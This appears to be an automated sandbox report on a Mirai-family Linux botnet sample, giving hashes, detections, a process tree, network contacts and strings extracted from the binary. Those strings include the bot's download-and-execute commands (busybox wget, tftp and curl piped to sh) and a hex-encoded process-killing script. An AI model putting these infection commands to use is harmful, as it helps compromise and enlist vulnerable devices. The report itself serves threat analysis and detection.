Edit tour

Linux Analysis Report
Zs1Z9sd1Do.elf

Overview

General Information

Sample Name:	Zs1Z9sd1Do.elf
Original Sample Name:	2e03de9f75322f79922b7ebe0259078d.elf
Analysis ID:	1347614
MD5:	2e03de9f75322f79922b7ebe0259078d
SHA1:	de52b43daa53b92e9ca7eec11dad92d2dc12480d
SHA256:	1cc732318f1348d4623e8cf7f12c5e718e214f380065124e8bb9466f8b0d2eca
Tags:	32armelfgafgyt
Infos:

Detection

Mirai

Score:	72
Range:	0 - 100
Whitelisted:	false

Signatures

Yara detected Mirai

Multi AV Scanner detection for submitted file

Uses known network protocols on non-standard ports

Contains symbols with names commonly found in malware

Uses the "uname" system call to query kernel version information (possible evasion)

Found strings indicative of a multi-platform dropper

Enumerates processes within the "proc" file system

Detected TCP or UDP traffic on non-standard ports

Sample and/or dropped files contains symbols with suspicious names

Sample listens on a socket

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox Version:	38.0.0 Ammolite
Analysis ID:	1347614
Start date and time:	2023-11-25 00:43:10 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 4m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample file name:	Zs1Z9sd1Do.elf renamed because original name is a hash value
Original Sample Name:	2e03de9f75322f79922b7ebe0259078d.elf
Detection:	MAL
Classification:	mal72.troj.linELF@0/400@7/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: Zs1Z9sd1Do.elf

Runtime Messages

Command:	/tmp/Zs1Z9sd1Do.elf
PID:	5419
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The People's Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

Zs1Z9sd1Do.elf (PID: 5419, Parent: 5343, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/Zs1Z9sd1Do.elf

Zs1Z9sd1Do.elf New Fork (PID: 5421, Parent: 5419)

Zs1Z9sd1Do.elf New Fork (PID: 5423, Parent: 5421)

Zs1Z9sd1Do.elf New Fork (PID: 5424, Parent: 5421)

Zs1Z9sd1Do.elf New Fork (PID: 5427, Parent: 5421)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Zs1Z9sd1Do.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Mirai_12	Yara detected Mirai	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: Zs1Z9sd1Do.elf

ReversingLabs: Detection: 56%

Source: Zs1Z9sd1Do.elf

String: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname TBOT/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 47612
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 42306

Source: global traffic	TCP traffic: 192.168.2.13:60956 -> 62.72.164.3:38241
Source: global traffic	TCP traffic: 192.168.2.13:46140 -> 5.181.80.55:38241

Source: unknown	TCP traffic detected without corresponding DNS query: 153.98.130.180
Source: unknown	TCP traffic detected without corresponding DNS query: 175.86.2.217
Source: unknown	TCP traffic detected without corresponding DNS query: 6.169.186.185
Source: unknown	TCP traffic detected without corresponding DNS query: 62.105.88.248
Source: unknown	TCP traffic detected without corresponding DNS query: 70.154.125.94
Source: unknown	TCP traffic detected without corresponding DNS query: 115.125.43.181
Source: unknown	TCP traffic detected without corresponding DNS query: 88.66.57.57
Source: unknown	TCP traffic detected without corresponding DNS query: 42.126.146.158
Source: unknown	TCP traffic detected without corresponding DNS query: 179.75.2.250
Source: unknown	TCP traffic detected without corresponding DNS query: 19.129.161.71
Source: unknown	TCP traffic detected without corresponding DNS query: 137.25.38.171
Source: unknown	TCP traffic detected without corresponding DNS query: 60.151.67.179
Source: unknown	TCP traffic detected without corresponding DNS query: 112.138.8.177
Source: unknown	TCP traffic detected without corresponding DNS query: 151.144.34.234
Source: unknown	TCP traffic detected without corresponding DNS query: 76.191.255.101
Source: unknown	TCP traffic detected without corresponding DNS query: 121.87.113.213
Source: unknown	TCP traffic detected without corresponding DNS query: 57.251.188.68
Source: unknown	TCP traffic detected without corresponding DNS query: 108.183.221.91
Source: unknown	TCP traffic detected without corresponding DNS query: 157.240.213.38
Source: unknown	TCP traffic detected without corresponding DNS query: 26.130.79.115
Source: unknown	TCP traffic detected without corresponding DNS query: 63.98.118.28
Source: unknown	TCP traffic detected without corresponding DNS query: 105.178.208.82
Source: unknown	TCP traffic detected without corresponding DNS query: 209.55.38.185
Source: unknown	TCP traffic detected without corresponding DNS query: 151.17.205.35
Source: unknown	TCP traffic detected without corresponding DNS query: 25.41.130.215
Source: unknown	TCP traffic detected without corresponding DNS query: 192.8.240.220
Source: unknown	TCP traffic detected without corresponding DNS query: 24.85.17.54
Source: unknown	TCP traffic detected without corresponding DNS query: 149.59.232.179
Source: unknown	TCP traffic detected without corresponding DNS query: 183.160.251.47
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.15.32
Source: unknown	TCP traffic detected without corresponding DNS query: 109.174.148.80
Source: unknown	TCP traffic detected without corresponding DNS query: 71.116.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 187.141.247.211
Source: unknown	TCP traffic detected without corresponding DNS query: 140.185.57.160
Source: unknown	TCP traffic detected without corresponding DNS query: 221.239.146.197
Source: unknown	TCP traffic detected without corresponding DNS query: 44.220.223.246
Source: unknown	TCP traffic detected without corresponding DNS query: 89.0.115.26
Source: unknown	TCP traffic detected without corresponding DNS query: 71.38.139.143
Source: unknown	TCP traffic detected without corresponding DNS query: 107.5.119.51
Source: unknown	TCP traffic detected without corresponding DNS query: 174.233.18.70
Source: unknown	TCP traffic detected without corresponding DNS query: 154.124.143.106
Source: unknown	TCP traffic detected without corresponding DNS query: 65.78.4.254
Source: unknown	TCP traffic detected without corresponding DNS query: 4.146.168.106
Source: unknown	TCP traffic detected without corresponding DNS query: 11.220.202.119
Source: unknown	TCP traffic detected without corresponding DNS query: 48.120.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 148.18.137.123
Source: unknown	TCP traffic detected without corresponding DNS query: 78.55.21.155
Source: unknown	TCP traffic detected without corresponding DNS query: 51.20.122.166
Source: unknown	TCP traffic detected without corresponding DNS query: 29.192.241.91
Source: unknown	TCP traffic detected without corresponding DNS query: 132.97.42.69

Source: Zs1Z9sd1Do.elf	String found in binary or memory: http:///curl.sh
Source: Zs1Z9sd1Do.elf	String found in binary or memory: http:///wget.sh

Source: ELF static info symbol of initial sample	Name: attack.c
Source: ELF static info symbol of initial sample	Name: attack_get_opt_int
Source: ELF static info symbol of initial sample	Name: attack_get_opt_ip
Source: ELF static info symbol of initial sample	Name: attack_gre.c
Source: ELF static info symbol of initial sample	Name: attack_gre_eth
Source: ELF static info symbol of initial sample	Name: attack_gre_ip
Source: ELF static info symbol of initial sample	Name: attack_init
Source: ELF static info symbol of initial sample	Name: attack_kill_all
Source: ELF static info symbol of initial sample	Name: attack_ongoing
Source: ELF static info symbol of initial sample	Name: attack_parse

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname TBOT
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname TBOT/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D

Source: /tmp/Zs1Z9sd1Do.elf (PID: 5423)	File opened: /proc/5460/maps	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5423)	File opened: /proc/5460/cmdline	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5423)	File opened: /proc/5460/maps	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5423)	File opened: /proc/5460/cmdline	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5423)	File opened: /proc/5450/maps	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5423)	File opened: /proc/5450/cmdline	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5423)	File opened: /proc/5461/maps	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5423)	File opened: /proc/5461/cmdline	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5423)	File opened: /proc/5461/maps	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5423)	File opened: /proc/5461/cmdline	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5423)	File opened: /proc/5451/maps	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5423)	File opened: /proc/5451/cmdline	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5423)	File opened: /proc/5452/maps	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5423)	File opened: /proc/5452/cmdline	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5423)	File opened: /proc/5453/maps	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5423)	File opened: /proc/5453/cmdline	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5423)	File opened: /proc/5454/maps	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5423)	File opened: /proc/5454/cmdline	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5423)	File opened: /proc/5455/maps	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5423)	File opened: /proc/5455/cmdline	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5423)	File opened: /proc/5456/maps	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5423)	File opened: /proc/5456/cmdline	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5423)	File opened: /proc/5446/maps	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5423)	File opened: /proc/5446/cmdline	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5423)	File opened: /proc/5457/maps	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5423)	File opened: /proc/5457/cmdline	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5423)	File opened: /proc/5447/maps	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5423)	File opened: /proc/5447/cmdline	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5423)	File opened: /proc/5458/maps	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5423)	File opened: /proc/5458/cmdline	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5423)	File opened: /proc/5448/maps	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5423)	File opened: /proc/5448/cmdline	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5423)	File opened: /proc/5459/maps	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5423)	File opened: /proc/5459/cmdline	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5423)	File opened: /proc/5427/maps	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5423)	File opened: /proc/5427/cmdline	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5423)	File opened: /proc/5449/maps	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5423)	File opened: /proc/5449/cmdline	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5423)	File opened: /proc/5429/maps	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5423)	File opened: /proc/5429/cmdline	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/5267/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/5421/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/3122/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/3117/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/3114/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/3632/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/914/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/917/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/3134/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/3375/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/3132/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/3095/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/1745/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/1866/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/1588/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/884/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/1982/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/765/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/3246/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/800/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/767/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/5423/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/1906/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/802/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/803/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/5427/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/1748/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/5429/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/3420/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/1482/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/490/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/1480/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/1755/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/1875/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/2964/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/3413/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/1751/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/1872/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/2961/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/1475/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/778/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/936/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/816/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/1879/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/1891/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/3310/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/3153/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/780/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/660/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/1921/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/783/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/1765/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/2974/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/1400/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/1884/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/3424/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/2972/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/3147/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/2970/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/1881/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/3146/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/3300/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/1805/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/1925/status	Jump to behavior
Source: /tmp/Zs1Z9sd1Do.elf (PID: 5424)	File opened: /proc/1804/status	Jump to behavior

Source: Zs1Z9sd1Do.elf, 5424.1.000055655d1fe000.000055655d223000.rw-.sdmp	Binary or memory string: ]eU/arm/ro10 /usr/bin/qemu-arm!/usr/sbin/gdm31
Source: Zs1Z9sd1Do.elf, 5419.1.00007ffeab649000.00007ffeab66a000.rw-.sdmp, Zs1Z9sd1Do.elf, 5424.1.00007ffeab649000.00007ffeab66a000.rw-.sdmp	Binary or memory string: ]x86_64/usr/bin/qemu-arm/tmp/Zs1Z9sd1Do.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/Zs1Z9sd1Do.elf
Source: Zs1Z9sd1Do.elf, 5424.1.000055655d1fe000.000055655d223000.rw-.sdmp	Binary or memory string: /usr/bin/vmtoolsd
Source: Zs1Z9sd1Do.elf, 5419.1.000055655d0d0000.000055655d220000.rw-.sdmp, Zs1Z9sd1Do.elf, 5424.1.000055655d0d0000.000055655d1fe000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: Zs1Z9sd1Do.elf, 5419.1.00007ffeab649000.00007ffeab66a000.rw-.sdmp, Zs1Z9sd1Do.elf, 5424.1.000055655d1fe000.000055655d223000.rw-.sdmp, Zs1Z9sd1Do.elf, 5424.1.00007ffeab649000.00007ffeab66a000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: Zs1Z9sd1Do.elf, 5424.1.000055655d1fe000.000055655d223000.rw-.sdmp	Binary or memory string: !/proc/765/exe0!/proc/326/exe1/proc/783/exe/arm/ro10!/proc/727/fd/00!/proc/327/exe1/usr/libexec/switcheroo-control0!/proc/727/status!/proc/328/exe1/usr/bin/dbus-daemonro10!/usr/bin/vmtoolsd!/proc/332/exe1/proc/3110/exe/arm/ro10!/proc/727/exe0!/proc/347/exe1/proc/783/statusarm/ro10!/proc/726/fd/00!/proc/371/exe1/proc/793/exe/arm/ro10!/proc/726/status!/proc/378/exe1/proc/783/fd/0/arm/ro10!/usr/bin/VGAuthService!/proc/418/exe1/proc/3117/exe/arm/ro10!/proc/726/exe0!/proc/419/exe1/usr/libexec/gsd-keyboard
Source: Zs1Z9sd1Do.elf, 5419.1.000055655d0d0000.000055655d220000.rw-.sdmp, Zs1Z9sd1Do.elf, 5424.1.000055655d0d0000.000055655d1fe000.rw-.sdmp	Binary or memory string: ]eU!/etc/qemu-binfmt/arm

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: Zs1Z9sd1Do.elf, type: SAMPLE

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	1 Scripting	Path Interception	Path Interception	1 Masquerading	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	11 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Abuse Accessibility Features	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Scripting	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	1 Non-Application Layer Protocol	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Application Layer Protocol			Data Encrypted for Impact	DNS Server	Email Addresses

Source	Detection	Scanner	Label	Link
http:///wget.sh	0%	Avira URL Cloud	safe
http:///curl.sh	0%	Avira URL Cloud	safe

IP	Domain	Country	ASN	ASN Name	Malicious
142.199.3.34	unknown	Canada	16623	AHSCA	false
154.188.193.202	unknown	Egypt	8452	TE-ASTE-ASEG	false
92.116.20.20	unknown	Germany	8881	VERSATELDE	false
42.2.200.173	unknown	Hong Kong	4760	HKTIMS-APHKTLimitedHK	false
102.92.240.99	unknown	Nigeria	37075	ZAINUGASUG	false
175.123.13.204	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
36.4.239.84	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
41.102.161.61	unknown	Algeria	36947	ALGTEL-ASDZ	false
62.94.206.22	unknown	Italy	15589	ASN-CLOUDITALIAIT	false
147.51.95.42	unknown	United States	1491	DNIC-AS-01491US	false
58.122.54.31	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
105.140.212.238	unknown	Morocco	6713	IAM-ASMA	false
62.48.218.238	unknown	Portugal	15525	MEO-EMPRESASPT	false
4.193.243.72	unknown	United States	3356	LEVEL3US	false
46.95.231.4	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
119.223.92.121	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
207.185.117.83	unknown	United States	32190	ADS-17-32190US	false
2.194.32.47	unknown	Italy	16232	ASN-TIMServiceProviderIT	false
80.224.49.46	unknown	Spain	6739	ONO-ASCableuropa-ONOES	false
111.43.58.15	unknown	China	132525	CMNET-HEILONGJIANG-CNHeiLongJiangMobileCommunicationComp	false
137.210.217.125	unknown	United States	1776	WirtschaftsuniversitaetWienAT	false
32.225.78.54	unknown	United States	2686	ATGS-MMD-ASUS	false
136.186.88.177	unknown	Australia	58686	SUT-AS-APSwinburneUniversityofTechnologyAU	false
191.124.209.20	unknown	Chile	7418	TELEFONICACHILESACL	false
174.14.19.153	unknown	United States	6327	SHAWCA	false
150.145.61.14	unknown	Italy	137	ASGARRConsortiumGARREU	false
